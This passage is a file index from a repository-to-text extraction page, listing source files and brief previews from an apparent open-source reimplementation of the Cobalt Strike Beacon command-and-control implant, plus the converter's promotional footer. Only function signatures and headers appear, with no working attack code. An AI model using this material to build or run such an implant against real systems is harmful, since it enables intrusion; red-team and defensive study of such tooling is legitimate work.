"path": "Beacon/utils.c",
"chars": 2104,
"preview": "#include \"pch.h\"\n\n#include \"utils.h\"\n\nDWORD ExpandEnvironmentStrings_s(const char* lpSrc, char* lpDst, size_t size) {\n\t/"
},
{
"path": "Beacon/utils.h",
"chars": 477,
"preview": "#pragma once\n\nDWORD ExpandEnvironmentStrings_s(const char* lpSrc, char* lpDst, size_t size);\n\nint RoundToNearestEven(int"
},
{
"path": "Beacon/web_response.c",
"chars": 3207,
"preview": "#include \"pch.h\"\n\n#include \"web_response.h\"\n\n#include \"beacon.h\"\n#include \"network.h\"\n#include \"thread.h\"\n\ntypedef struc"
},
{
"path": "Beacon/web_response.h",
"chars": 125,
"preview": "#pragma once\n\nvoid WebServerInit(short port, char* content, int contentLength);\nvoid WebServerLocal(char* buffer, int le"
},
{
"path": "CobaltStrike.sln",
"chars": 2922,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 17\nVisualStudioVersion = 17.7.3403"
},
{
"path": "LICENSE",
"chars": 1067,
"preview": "MIT License\n\nCopyright (c) 2024 ElJaviLuki\n\nPermission is hereby granted, free of charge, to any person obtaining a copy"
},
{
"path": "README.md",
"chars": 2154,
"preview": "# Cobalt Strike Beacon Open Source Implementation\n\n## Overview\n\nWelcome to the open-source implementation of the Cobalt "
}
]
About this extraction
This page contains the full source code of the ElJaviLuki/CobaltStrike_OpenBeacon GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 72 files (225.1 KB), approximately 64.2k tokens, and a symbol index with 272 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.